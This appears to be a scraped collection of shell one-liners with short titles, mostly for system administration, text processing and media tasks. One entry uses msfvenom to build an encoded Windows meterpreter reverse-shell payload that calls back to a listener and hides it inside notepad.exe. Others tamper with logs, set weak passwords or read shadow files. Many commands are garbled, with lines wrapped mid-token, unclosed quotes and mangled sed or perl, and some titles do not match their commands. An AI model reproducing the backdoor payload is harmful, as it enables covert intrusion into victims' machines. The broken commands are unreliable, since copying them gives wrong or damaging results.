# Sometimes you just want a quick way to find out if a certain user account is locked [Linux].
awk -F":" '{ print $1 }' /etc/passwd | while read UU ; do STATUS=$(passwd -S ${UU} | grep locked 2>/dev/null) ; if [[ ! -z ${STATUS} ]] ; then echo "Account ${UU} is locked." ; fi ; done

# Remove comments and empty lines from a file
grep -v '^#|^$' /etc/hdparm.conf

# delete all trailing whitespace from each line in file
sed 's/[ \t]*$//' <file> > <file>.out; mv <file>.out <file>

# strip non-constant number of directories from tar archive while decompressing
tar --transform 's#.*\/\([^\/]*\)#\\1#' -xzvf test-archive.tar.gz

# urldecoding
ls * | while read fin;do fout=$(echo -n $fin | sed -e's/%\([0-9A-F][0-9A-F]\)\//\\x\\1/g' | xargs echo -e);if [ "$fout" != "$fin" ];then echo "mv '$fin' '$fout' ";fi;done | bash -x

# kills all php5-fcgi processes for user per name
pkill -9 -u username php5-fcgi

# Grabs Open Files and Then Greps Them
lsof | grep "stuff"

# svn diff $* | colordiff | lv -c
svn diff $* | colordiff | lv -c

```

```

# Sometimes you just want a quick way to find out if a certain user account is l
ocked [Linux].
getent shadow | while IFS=: read a b c; do grep -q '!' <<< "$b" && echo "$a LOCK
ED" || echo "$a not locked"; done

# Averaging columns of numbers
function avg {      awk "/$2/{sum += \$$1; lc += 1;} END {printf \"Average over %
d lines: %f\\n\\", lc, sum/lc}"; }

# Show all Storage Repositories on XenServer
xe sr-list

# Create the directory recursively
mkdir /home/dhinesh/dir1/{dir2,dir3,dir4}/file1.txt -p

# Check if SSL session caching is enabled on Google
gnutls-cli -V -r www.google.com |grep 'Session ID'

# find . -name "*.txt" | xargs sed -i "s/old/new/"
find . -name "*.txt" | xargs sed -i "s/old/new/"

# Set the master volume to 90% (Ubuntu)
aumix -v 90

# Sometimes you just want a quick way to find out if a certain user account is l
ocked [Linux].
getent shadow | grep '^[^:]\+:!' | cut -d: -f1

# Get IPv4 of eth0 for use with scripts
/sbin/ifconfig eth0 | grep 'inet addr:' | awk {'print $2'} | sed 's/addr://'

# delete all leading and trailing whitespace from each line in file
sed 's/^[ \t]*//;s/[ \t]*$//' < <file> > <file>.out; mv <file>.out <file>

# Make sure your script runs with a minimum Bash version
if [ -z "${BASH_VERSION}" ] || [ -z "${BASH_VERSION[0]}" ] || [ ${BASH_VERSINF
O[0]} -lt 4 ]; then echo "This script requires Bash version >= 4"; exit 1; fi

# Randomize lines (opposite of | sort)
cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) {
  $r=int rand ($i+1); @f[$i, $r]=@f[$r, $i] unless ($i==$r); } chomp @f; foreach
$line (@f){ print $line; }'}

# List bash functions defined in .bash_profile or .bashrc
set | fgrep " ()"

# erase next word
ALT + d

# cat large file to clipboard
cat large.xml | xclip

# Make all GUI stuff show up on the display connected to the computer (when you'
re logged in via SSH)
DISPLAY=:0.0; export DISPLAY

# Stop your screen saver interrupting your mplayer sessions
mplayer (){ while :; do xte 'mousermove -4 20'; sleep 1s; xte 'mousermove 4 -

```



```

20'; sleep 2m; done& mplayer -fs "$1"; fg; }

# Get sunrise time for any city, by name
sunrise() { city=${1-Seattle}; w3m "google.com/search?q=sunrise:$city" | sed -r
'1,/^\s*1\./d; /^\s*2\./,$d; /^$/d' ;}

# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-keygen ptaduri@c3pusas1

# Create and encode a reverse tcp meterpreter payload with shikata_ga_nai.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -e x86/
shikata_ga_nai -i 5 -f exe -x ~/notepad.exe -k > notepad.exe

# Watch changeable interrupts continuously
watch -n1 'cat /proc/interrupts

# p is for pager
p() { l=$LINES; case $1 in do) shift; IFS=$'\n' _pg=( "$@" ) && _pgn=0 && p r
;; r) echo "${_pg[*]:_pgn:${(1-4)}}";; d) (( _pgn+=1-4 )); (( _pgn=_pgn>=${#
_pg[@]}?${#_pg[@]}-1+4:_pgn )); p r;; u) (( _pgn=_pgn<=1-4?0:_pgn-$1-4 )); p r
;; esac; }

# Set user passwords to username from partial password file
awk -F: '{print "echo "$1" | passwd --stdin "$1}' passwd

# View latest apache access log
view `ls -l access_log.* | tail -n 1`

# Batch image resize
for a in `ls`; do echo $a && convert $a -resize <Width>x<Height> $a; done

# Find duplicate dir in path
echo $PATH|tr : '\n'|sort|uniq -d

# display embeded comments for every --opt, usefull for auto documenting your sc
ript
vim -n -es -c 'g/# CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | %<' -c 'g/^
\([-+]\+\[^\]\+\)\)/,/^\(\s\+\[^\- \t#\]\|^$\)/-1 p' -c 'q!' $0

# Extract every parted-files which had the same password
find . -name '*.part1.rar' -exec unrar e \{\} -pPASSWORD \;

# Discover unoptimized MySQL tables and optimize them.
for table in $(echo "select concat(TABLE_SCHEMA, '.', TABLE_NAME) from informati
on_schema.TABLES where TABLE_SCHEMA NOT IN ('information_schema','mysql') and Da
ta_free > 0" | mysql --skip-column-names); do echo "optimize table ${table}" | m
ysql; done;

# Find out how to say the first 66 digits of pi as a word
pi 66 | number

# Puts every word from a file into a new line
sed -r 's/[ \t\r\n\v\f]+/\^J/g' INFILE > OUTFILE

# Change your e-mail address in multiple files
sed -i 's/oldname@example.com/newname@example.com/g' `grep oldname@example.com -
rl .`

# Capture and re-use expensive multi-line output in shell

```

```

OUTPUT="`find / -type f`" ; echo "$OUTPUT" | grep sysrq ; echo "$OUTPUT" | grep
sysctl ; echo "$OUTPUT" | less

# Show the parents of all block devices with udevadm(1)
for i in $(find /dev/ -type b) ; do ( udevadm info -a -p $(udevadm info -q path
-n $i) ) ; done

# Dump an rpm's package details (besides the files)
rpm --querytags | egrep -v HEADERIMMUTABLE | sort | while read tag ; do rpm -q -
-queryformat "$tag: [%{$tag} ]\n" -p $SomeRPMfile ; done

# Get details about all fibre cards with udevadm(1)
for i in /sys/class/fc_host/* ; do ( udevadm info -a -p $i ) ; done

# infile search and replace on N files
perl -pi -e's/foo/bar/g' file1 file2 fileN

# Fibonacci numbers with awk
awk 'BEGIN {a=1;b=1;for(i=0;i<`${NUM}`;i++){print a;c=a+b;a=b;b=c}}'

# Stopwatch, OnScreen version, blinking shily on all desktops
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$((T-I));hours=$((E / 360
0)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 6
0)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | osd_cat -o 20 -
d 1 -p bottom'

# Cleanly quit KDE4 apps
kbuildsysco4 && kquitapp plasma-desktop && kstart plasma-desktop

# add a particular track to a playlist by looking for a part of its file name
find `pwd` -iname *SEARCH_STRING* >> ~/PLAYLIST_NAME.m3u

# Get own IP address
ifconfig|grep 'inet addr:'|grep 'Bcast'|awk '{print $2}'|awk -F : '{print $2}'

# Remove CR from Windows- / DOS-textfiles
dos2unix file.txt

# Get Futurama quotations from slashdot.org servers
curl -Is slashdot.org | sed -ne '/^X-[FBL]/s/^X-//p'

# Stopwatch, toilet version, amazing format inside terminal
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$((T-I));hours=$((E / 360
0)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 6
0)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | toilet -f shado
w'

# Parse an RPM name into its components - fast
parse_rpm() { RPM=$1;B=${RPM##*/};B=${B%.rpm};A=${B##*.};B=${B%.*};R=${B##*-};B=
${B%-*};V=${B##*-};B=${B%-*};N=$B;echo "$N $V $R $A"; }

# IP list of aborted mail logins
grep -i "aborted login" /var/log/maillog | awk 'BEGIN{FS="="}{print substr($4,8)
}' | cut -d", " -f1

# Convert all FLV's in a directory to Ogg Theora (video)
for i in $(ls *.flv); do ffmpeg2theora -v 6 --optimize $i; done

# see who is on this machine
w

```

```

# Copy with progress
copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%\n" $(echo `du -
h "$2"|cut -dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';}

# Reconstruct a malformed authorized_keys for ssh
cat authorized_keys_with_broken_lines | sed 's,^ssh,%ssh,' | tr '\n' '\0' | tr
 '%' '\n' | sed 'ld' | sed "/^$/d" > authorized_keys

# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | perl -ne "print if m/inet addr:(\d+\.){3}+/" | sed "s/inet add
r//" | sed "s/Bcast//" |awk -F: '{print $2}'

# list all files modified in the last 24 hours descending from current directory
find . -type f -mtime -1 \! -type d -exec ls -l {} \;

# Fast CLI Timer
time read x

# Number of seconds to certain unix date
echo $( ( ( $( (2**31 -1) ) - $(date +%s) ) ) )

# Fibonacci numbers with sh
prev=0;next=1;echo $prev;while(true);do echo $next;sum=$(( $prev+$next));prev=$ne
xt;next=$sum;sleep 1;done

# Find all dot files and directories
printf "%s\n" .*

# Set X keymap to dvorak and fix the Ctrl key.
setxkbmap dvorak '' ctrl:nocaps

# Get IPv4 of eth0 for use with scripts
ip addr show eth0 |grep 'inet\b' |awk '{print $2}' |sed -r -e 's/\./.*?//g'

# solaris: get seconds since epoch
truss date 2>&1 | awk '/^time/{print $3}'

# kill all process that belongs to you
ps -u $USER -lf | grep -vE "\-bash|sshd|ps|grep|PPID" > .tmpkill; if (( $(cat .t
mpkill | wc -l) > 0 )); then echo "# KILL EM ALL"; cat .tmpkill; cat .tmpkill |
awk '{print $4}' | xargs kill -9; else echo "# NOTHING TO KILL"; fi; cat .tmpkil
l; rm .tmpkill;

# git-rm for all deleted files, including those with space/quote/unprintable cha
racters in their filename/path
git ls-files -z -d | xargs -0 git rm --

# 'readlink' equivalent using shell commands, and following all links
myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link=$(expr "$(command ls -
ld -- "$1")" : '.*-> \(.*\)$'); cd $(dirname $1); myreadlink "$link"; }

# display lines in /etc/passwd between line starting ...
< /etc/passwd sed -n "/^bin:/,/^lp:/p"

# Add audio CD to xmms2 playlist
xmms2 addpls cdda://

# Archive every file in /var/logs

```

```

find /var/logs -name * | xargs tar -jcpf logs_`date +%Y-%m-%e`.tar.bz2

# Find all bash functions in a file
functions(){ read -p "File name> "; sort -d $REPLY | grep "(){" | sed -e 's/()/ /g' | less; }

# Export mysql database to another database without having to save the output first
mysqldump -u<username> -p<password> -h<source database host> databasename table1 table2 table_n | mysql -u<user> -p<password> -h<destination database host> databasename

# Search recursively to find a word or phrase in certain file types, such as C code
ack "search phrase" *.*[ch]

# Check version of DNS Server
nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET

# Count files created by date/modification
find . -type f -exec stat \{\} \; | grep Modify: | awk '{a[$2]++}END{for(i in a){print i " : " a[i] }}' | sort

# deleter
today=`date +%d`; ls -ltr | rm -f `nawk -v _today=$today '{ if($5 != 0 && $7 < _today) { print $9 } }`

# collapse first five fields of Google Adwords export .tsv file into a single field, for gnumeric
awk -F '\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n";}' LS=`env printf '\u2028` `Ad report.tsv`

# Hunt for the newest file.
fn=$(find . -type f -printf "%T@%p\n"|sort -n|tail -1|cut -f2); echo $(date -r "$fn") "$fn"

# Print all members of US House of Representatives
curl "http://www.house.gov/house/MemberWWW.shtml" 2>/dev/null | sed -e :a -e 's/<[^>]*>/g;/</N;/ba' | perl -nle 's/^\t\t(.*$)/ $1/ and print;'

# simple nbtstat -a equivalent/alias for linux (uses nmblookup)
alias nbtstat='nmblookup -S -U <server> -R'

# To compact all SQLite databases in your home directory
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;

# Add crc32 checksum in the filenames of all mp4
for file in *.mp4; do mv "$file" "${file%.*} [$(cksum -b -q "$file" | egrep -o '\b[A-F0-9]{8}\b$)].${file#*.}"; done

# Sum using awk
ps -ylC httpd --sort:rss | awk '{ SUM += $8 } END { print SUM/1024 }'

# Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' | sed '/^$/d' > file.html

# Display any udp/tcp connections by process name or by process id
lsof -nP -c COMMAND | egrep -o '(TCP|UDP).*$' | sort -u

```

```

# flush stdin in bash
read -t 0.1 -N 255

# Expand shortened URLs
expandurl() { wget -S $1 2>&1 | grep ^Location; }

# Display only hosts up in network
nmap -sP your network/submask | awk "/^Host/""{ print $2 }"

# Working random fact generator
lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D

# Active Internet connections (only servers)
netstat -lnptu

# Delete residues configuration files
dpkg -l | grep ^rc | awk '{print $2}' | sudo xargs dpkg -P

# Cleanly list available wireless networks (using iwlist)
iwlist wlan0 scan | sed -ne 's#^[[[:space:]]*\\(Quality=\\|Encryption key:\\|ESSID:\\)|#\\1#p' -e 's#^[[[:space:]]*\\(Mode:.\\)*\\)$#\\1\\n#p'

# analyzetraffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -i any -U -s 0 -w - 'not port 22' | wireshark -k -i -

# Zip all subdirectories into zipfiles
for f in `find . \\( ! -name . -prune \\) -type d -print`; do zip $f.zip $f; done

# List bash functions defined in .bash_profile or .bashrc
declare -F | sed 's/^declare -f //'

# View the newest xkcd comic.
xkcd() { wget -qO- http://xkcd.com/ | sed -n 's#^; $c=@al; while($j<$c){ $apps[$i].=$al[$j]; $i++ if ($al[$j] ) =~ /^\\s\\s\\s\\s\\s\\s\\.\\*\\.\\*/; $j++} while($k<$i){ $_=$apps[$k++]; if (/Kind: PowerPC/s) {print;}}'

# Find in all files in the current directory, just a find shorthand
grep -H -n "pattern" *

# ls not pattern
ls *[^.gz]

# Remove all the files except abc in the directory
rm *[^abc]

# Remove acentuation from file names in a directory.
for i in *; do mv -vi "$i" "`echo "$i"|sed y/????????????????????????????????/AAAAEEIOOU UCaaaaeeioouuc/`"; done; sync

```

```
# mencoder convert video to xvid
mencoder input_file -o output_file -oac mp3lame -lameopts cbr:br=32 -ofps 30 -vf
  harddup -ovc xvid -xvidencopts fixed_quant=3

# Enumerate rubygems environment
gem env

# Delete all lines after the first match
sed -n -e '1,/match/p'

# bbs in utf8 console
luit -encoding gbk telnet bbs.sysu.edu.cn

# Search OpenSolaris packages and show only the pkg names
pkg search SEARCH_TERM | awk '{print $NF}' | sed -e 's;.*\/\(.*\)\@.*;\1;' | sort
-u

# Length of longest line of code
wc -L files

# Add all unversioned files to svn
svn stat | grep "^?" | awk '{ print "svn add " $2 }' | bash

# grep compressed log files without extracting
zcat log.tar.gz | grep -a -i "string"

# List encoding of ? in all available char sets
for i in `recode -l | cut -d" " -f 1`; do echo $i": ?" | recode utf-8..$i -s -p
>> temp; done; vim temp

# extract all tgz in current dir
ls *tgz | xargs -n1 tar xzf

# Create a tar of modified/added files since revision 1792.
svn diff -r 1792:HEAD --summarize | awk '{if ($1 != "D") print $2}' | xargs -I {
} tar rf incremental_release.tar {}

# Gets the english pronunciation of a phrase
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world
" > hello.mp3

# Display hardware information about PCI / PCIe Slots
# dmidecode --type 9

# Reads in the ~/.Xdefaults
alias xdef_load='xrdb -merge ~/.Xdefaults'

# Exclude grep from your grepped output of ps (alias included in description)
pgrep -fl [h]ttpd

# Print out your hard drive to a jet-direct compatible printer.
cat /dev/hda|netcat -q 0 192.168.1.2 9100

# Find out Information about BIOS
# dmidecode --type 0

# Defcon 18 Quals Binary L33tness 300 Solution
echo "6d5967306474686924697344406b3379" | xxd -r -p
```

```

# Find the source file which contains most number of lines in your workspace
find -name "*.<suffix>" -exec wc -l "{}" \; | sort -n | tail

# start a vnc server session to connect to a gdm login screen
set $(ps -e o command= | grep "^/usr/bin/X "); while [ x"$1" != x"-auth" ]; do s
hift; done; sudo x11vnc -display :0 -auth "$2"

# Exclude grep from your grepped output of ps (alias included in description)
pgrep -fl [h]ttpd

# View a sopcast stream
(sp-sc sop://broker.sopcast.com:3912/80562 8908 10999 &>/dev/null &); sleep 10;
wait $(vlc http://localhost:10999); killall sp-sc

# compare the contents of two directories
sdiff <(ls /) <(ls /usr)

# add all files not under version control to repository
svn st | grep '^?' | sed -e 's/\?[[[:space:]]*/'/' | tr '\n' '\0' | xargs -0 svn a
dd

# See your current RAM frequency
/usr/sbin/dmidecode | perl -lne 'print $1 if /Current\s+Speed:\s+(\d+\s+MHz)/'

# Scan computers OS and open services on all network
nmap -O 192.168.1.1/24

# Randomize lines (opposite of | sort)
perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i]
if ($i!=$r); } chomp @f; print join $/, @f;' try.txt

# Convert all .wav to .mp3
audio-convert <dir>/*

# Unzip testresult file from all zip-files and merge them into one testresult fi
le.
7z e *.zip -r testresult -so >> testresult.txt

# Show all local disk and UFS mounts on Solaris
df -kFufs

# Count how many times a certain referer appears in your apache log
Q="reddit|digg"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l

# Hexadecimal dump of a file, pipe, or anything
cat testfile | hexdump -C

# How to delete all the archive files with extension *.tar.gz and greater than 1
OMB?
find / -type f -name *.tar.gz -size +10M -exec ls -l {} \;

# deleter
find . ! -size 0c -mtime +1 -type f -delete

# Remove new lines
xargs < [inputfile]

# sed /pat/!d without using sed (no RE; limited to shell patterns aka globbing)

```

```

se(){ while read a;do [ "$a" != "${a#*$@*}" ]&&echo $a;done ;} # usage: se patte
rn # use in place of sed /pat/!d where RE are overkill

# delete local *and* remote git repos if merged into local master
git branch | cut -c3- | grep -v "^master$" | while read line; do git branch -d $
line; done | grep 'Deleted branch' | awk '{print $3;}' | while read line; do git
push <target_remote> :$line; done

# one-line log format for svn
svn log | perl -pe 's/\n//g => s/^-.*\/\n/g'

# Convert file from UTF8 (no BOM) to UTF16 (with BOM)
recode UTF8..UTF-16LE linux-utf8-file.txt

# Download all Phrack .tar.gzs
for ((i=1; i<67; i++)) do wget http://www.phrack.org/archives/tgz/phrack${
i}.tar.gz -q; done

# Colorized grep in less
ack --pager='less -r'

# How to archive all the files that are not modified in the last x number of day
s?
find /protocollo/pafLOW -type f -mtime +5 | xargs tar -cvf /var/dump-protocollo/
`date +%d%m%Y'_archive.tar`

# Timezone conversions (eg: what time was @tz_dest when it was $tm @tz_orig)
TZ="$tz_dest" date -d "$TZ="$tz_orig" date -d "$tm)"

# Days left before password expires
let NOW=`date +%s`/86400 ; PASS_LAST_CHANGE=`grep $USER /etc/shadow | cut -d: -f
3` ; PASS_LIFE=`grep $USER /etc/shadow | cut -d: -f5` ; DAYS_LEFT=$(( PASS_LAST_C
HANGE + PASS_LIFE - NOW) ) ; echo $DAYS_LEFT

# Convert Unix newlines to DOS newlines
perl -ple 'BEGIN { $\ = "\r\n" }'

# To get the latest information on rpm packages
rpm -qa --last

# Find files with lines that do not match a pattern
fmiss() { grep -cR "$*" * | grep -E ':0$' | cut -d: -f1 ; }

# View Processeses like a fu, fu
pstree -p

# Prints per-line contribution per author for a GIT repository
git ls-files | while read i; do git blame $i | sed -e 's/^[^(\)*(/' -e 's/^\([^
:digit:]*\) [[[:space:]]\+[[[:digit:]].*\/1/'; done | sort | uniq -ic | sort -nr

# Delete duplicated dictionaries in spell check list
sudo find /usr/share/hunspell/ -lname '*' -delete

# List 10 largest directories in current directory
du . -mak|sort -n|tail -10

# Create a directory and cd into it
mydir(){mkdir -p $1 && cd $1}

# Get the time and date of the last server reboot

```



```

date -d "$(uptime | awk '{gsub(/,/,"", $3); gsub(/:/," hours ", $3); print "- " $3
" minutes"}')"
```

```

# To get the different name field information on rpm packages
rpm -qa --qf '%{name}'
```

```

# Migrate gems from one ruby installation to another
/originalInstall/gem list | tr -d '(), ' | xargs -L 1 sudo ./gemInst.sh
```

```

# Display the output of a command from the first line until the first instance o
f a regular expression.
<your command here> | perl -n -e 'print "$_" if 1 ... /<regex>;'
```

```

# Recursively remove .svn directories
find . -name .svn -exec rm -r {} +;
```

```

# Search for a pattern across files in a code base (leaving out CVS directories)
for f in $(find /path/to/base -type f | grep -vw CVS); do grep -Hn PATTERN $f; d
one
```

```

# find sparse files
find -type f -printf "%S\t%p\n" 2>/dev/null | gawk '{if ($1 < 1.0) print $1 $2}'
```

```

# To get how many users logged in and logged out and how many times ?
last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp
```

```

# Matrix Style
while $t; do for i in `seq 1 30`; do r="$[$(RANDOM % 2)]"; h="$[$(RANDOM % 4)]"; if
 [ $h -eq 1 ]; then v="\e[1m $r"; else v="\e[2m $r"; fi; v2="$v2 $v"; done; echo -e $
v2; v2=""; done;
```

```

# list tomcat webapps
ssh tomcat-server ls -l webapp-dir | grep -- '->' | awk ' { print $(NF-2) " " $(
NF-1) " " $NF; }'
```

```

# Translates a phrase from English to Portuguese
curl -s -A "Mozilla" "http://translate.google.com.br/translate_a/t?client=t&text
=Hi+world&hl=pt-BR&sl=en&tl=pt&multires=1&ssel=0&tssel=0&sc=1" | awk -F' "' '{prin
t $2}'
```

```

# to get how many users logged in and logged out and how many times purely using
awk
last | awk '$1!~/wtmp/{logs[$1]++}END{for (i in logs) print i, logs[i}]'
```

```

# Display the output of a command from the first line until the first instance o
f a regular expression.
<command> | perl -pe '/<regex/ && exit;'
```

```

# Create a false directory structure for testing your commands
for i in /usr/bin/* ;do touch ${i##*/}; done
```

```

# Printing multiple years with Unix cal command
for y in 2009 2010 2011; do cal $y; done
```

```

# Upload an image to Twitpic
curl -F "username=mytwitterlogin" -F "password=mytwitterpassword" -F "message=My
image description" -F media=@./image.png http://twitpic.com/api/uploadAndPost
```

```

# Edit the list of to ignore files in the active directory
```

```

svn pe svn:ignore .

# Delete empty directories
perl -MFile::Find -e"finddepth(sub{rmdir},'.')"

# Gets the english pronunciation of a phrase
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" | play -t mp3 -

# Listen to TWiT with mpd/mpc
mpc clear && mpc add http://twit.am:80/listen && mpc play

# deleter
find -type f -size +0 -mtime +1 -print0|xargs -0r rm -f

# Disabling Spotlight on Mac OS
sudo mdutil -a -i off

# sort a list of comma separated numbers: sort_csn
sort_csn () { echo "${1}" | sed -e "s/,/\n/g" | sort -nu | awk '{printf("%s,", $0)}' | sed -e "s/,,$//"; }

# find and delete empty directories recursively
perl -MFile::Find -e"finddepth(sub{rmdir},'.')"

# SSH monitor
ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted | while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done

# Have a list of directories in a file, ending with newlines and need to run du on it?
cat filename | tr '\n' '\0' | du -hsc ?files0-from=--

# Show full path followed by a command
perl -le 'chomp($w=`which $ARGV[0]`);$_=`file $w`;while(/link\b/){chomp($_=(split/\./,$_)[1]);chop$_;$w.=" -> $_";$_=`file $_`;}print "\n$w";' COMMAND_NAME

# expand a program-name into an absolute path on the bash command-line, using ctrl-e
bind '"\C-e": "\eb `which \ef` \e\C-e"'

# Change your exported xml love list from last.fm, into Song: songname Artist: artistname
cat username_lovedtracks.xspf |perl -pe "s/.*<title>(.*?)</title><creator>(.*?)</creator>.*</Song: \1 Artist: \2/gi"> titles

# printing with psnup
psnup -4 -pa4 -Pa4 file.ps file2.ps

# Log a command's votes
while true; do curl -s http://www.commandlinefu.com/commands/view/3643/log-a-commands-votes | grep 'id="num-votes-' | sed 's;.*id="num-votes-[0-9]*">\([0-9\-\]*\)</div>;\1;' >> votes; sleep 10; done

# configify the list of gems on ur machine. the quick hack
gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem :'+line[:-1][:line.index(' ')] + ' , ' +line[:-1][line.index(' '):].replace(' ',' :version => ').replace(' ','') for line in l];print '\n'.join(x)"

```

```

# Burn an ISO on command line with hdiutil on mac
hdiutil burn foo.iso

# Find the files that include a TODO statement within a project
find . -iname '*TODO*'

# Show a script or config file without comments or blank lines
egrep -v "^$|^#" file

# Using psnup to get two pages per page
psnup -2 file.ps | lpr

# use curl to resume a failed download
cat file-that-failed-to-download.zip | curl -C - http://www.somewhere.com/file-I
-want-to-download.zip >successfully-downloaded.zip

# replace old htaccess php AddHandler values with new one
find /var/www/ -type f -name ".htaccess" -exec perl -pi -e 's/AddHandler[\s]*php
(4|5)-cgi/AddHandler x-httpd-php\1/' {} \;

# Make a statistic about the lines of code
find . -name '*.c' | xargs wc -l | tail -1 | awk '{print $1}'

# Download a TiVo Show
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u
tivo:$MAK --digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"
]*\) ">Download MPEG-PS</a>.*;\1;' | sed 's|\&|&|')"' | tivodecode -m $MAK --
- > tivo.mpg

# configify the list of gems on ur machine. the quick hack
gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['c
onfig.gem '"+line[:line.index(' ')] + '\n' , ' +line[:line.index(' ')]
.replace(' ', ':version => ')'.replace(' ', '+\n' for line in l];print '\n'.jo
in(x)"

# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2

# merge ogg file into a new one according to their download time
cat $(ls -c | grep ogg | tac ) > directory/test.ogg

# Get your local IP regardless of your network interface
ifconfig | sed -ne 's/^\.*inet \ (addr:)\*(\[[^ ]*\]).*/\2/;te' -e 'd;:e' -e '/^127\
./d;p'

# no log to trace you
paste <(cut -f1 log.txt) <(cut -f2- log.txt | shuf)

# search google on any OS
google "search terms" #see description for more details

# How To Get the Apache Document Root
awk -F\" '/^DocumentRoot/{print $2}' $(httpd -V | awk -F\" '/\.\conf/{print $2}')

# oneline REPL for perl with warnings and readline support
perl -MTerm::ReadLine -wde'print "TheAnswer=42\n"'

# move files without actually touching them
cd /some/directory \&\& tar cf - | cd /some/directory \&\& tar xvf - */

```

```

# less an message on a postfix mailsystem with a specific message-id
id=<XXXX>; find /var/spool/postfix/ -name $id -exec less {} \;

# Encode a hq video +10mb/min to an 1mb/min suitable for youtube
ffmpeg -i in.mkv -acodec libfaac -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 2
2 -threads 0 out.mp4

# Backup to tape, rewind and check md5
tar -cvf - $DIR_TO_BACKUP | tee >(md5sum > backup_md5.txt) > /dev/st0 && mt -f /
dev/nst0 bsfm 1 && md5sum -c backup_md5.txt < /dev/st0

# cd to (or operate on) a file across parallel directories
cd () { cdop=""; while [ "$1" != "${1#-}" ]; do cdop="${cdop} ${1}"; shift; done
; if [ $# -eq 2 ]; then newdir="${PWD}/${1}/${2}"; [ -d "${newdir}" ] || { echo "no
${newdir}"; return 1; }; builtin cd $cdop "${newdir}"; else builtin cd $cdop "$@"
; fi }

# get Mother's Day
sqlite> select date('now', 'start of year', '+4 months', 'weekday 0', '+7 days')
;

# delete all DrWeb status, failure and other messages on a postfix server
mailq | grep DrWEB | awk {'print $1'} | sed s/*//g | postsuper -d -

# Create a zip file ignoring .svn files
find . -not \( -name .svn -prune \) -type f | xargs zip XXXXX.zip

# List only locally modified files with CVS
cvs up 2>&1 | grep --color 'U \|P \|A \|R \|M \|C \|?'

# Encode mkv file to ogg+h264+mkv
ffmpeg -i initial.mkv -acodec libvorbis -ab 128k -ac 2 -vcodec libx264 -vpre ma
x -crf 22 -threads 0 final.mkv

# List the size (in human readable form) of all sub folders from the current loc
ation
du -h --max-depth=1 | sort -hr

# resume other user's screen session via su, without pty error
# su - <user> ; script /dev/null ; screen -r

# file sizes of current directory
ls -la | awk '{print $5, " ", $9}' | sort -rn

# purge old stale messages on a qmail queue
for i in `grep "unable to stat" /var/log/syslog | cut -d "/" -f 3 | sort | uniq`
; do find /var/qmail/queue -name $i -type f -exec rm -v {} \; ; done

# Play 2600 off the hook over ssh
curl -L -s `curl -s http://www.2600.com/oth-broadband.xml` | xmlstarlet sel -t -
m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -"

# Set volume to a mp3 file
ffmpeg -i foo.mp3 -vol 20 -acodec libmp3lame bar.mp3

# Terrorist threat level text
echo "Terrorist threat level: $(curl -s 'http://www.dhs.gov/dhspublic/getAdvisor
yCondition' | awk -F\" 'NR==2{ print $2 }')"
```

```

# Adds "-c" canonical option to bash "type" builtin command to follow symbolic l
inks
type () { if [ "$1" = "-c" ]; then shift; for f in "$@"; do ff=$(builtin type -p
"$f"); readlink -f "$ff"; done; else builtin type $typeopts "$@"; fi; }

# Start urxvt and do whatever is needed to open the screen session named "main"
screen -ls | grep main && urxvt -name screen -e screen -x main || urxvt -name sc
reen -e screen -R -S main

# sync a directory of corrupted jpeg with a source directory
for i in *jpg; do jpeginfo -c $i | grep -E "WARNING|ERROR" | cut -d " " -f 1 | x
args -I '{}' find /mnt/sourcerep -name {} -type f -print0 | xargs -0 -I '{}' cp
-f {} ./ ; done

# Play a podcast via XPath and mpg123
curl -L -s `curl -s [http://podcast.com/show.rss]` | xmlstarlet sel -t -m "//enc
losure[1]" -v "@url" -n | head -n 1 | ssh -t [user]@[host] "mpg123 -"

# Multi line grep using sed and specifying open/close tags
sed '/"<opening tag>"/,/"<closing tag>"/{/"<closing tag>"/d;p};d' "<file>"

# use wget to check if a remote file exists
wget -O/dev/null -q URLtoCheck && echo exists || echo not exist

# Generate an XKCD #936 style 4 word password
jot 4 | awk '{ print "wc -l /usr/share/dict/words | awk ""''''{ print \"echo $[ $
RANDOM * $RANDOM % \" $1 \"]\" }'''' | bash | awk ""''''{ print \"sed -n \" $1 \
\"p /usr/share/dict/words\" }'''' | bash" }' | bash | tr -d '\n' | sed 's/$/\n/'

# Simple server which listens on a port and prints out received data
nc -l -p portnumber

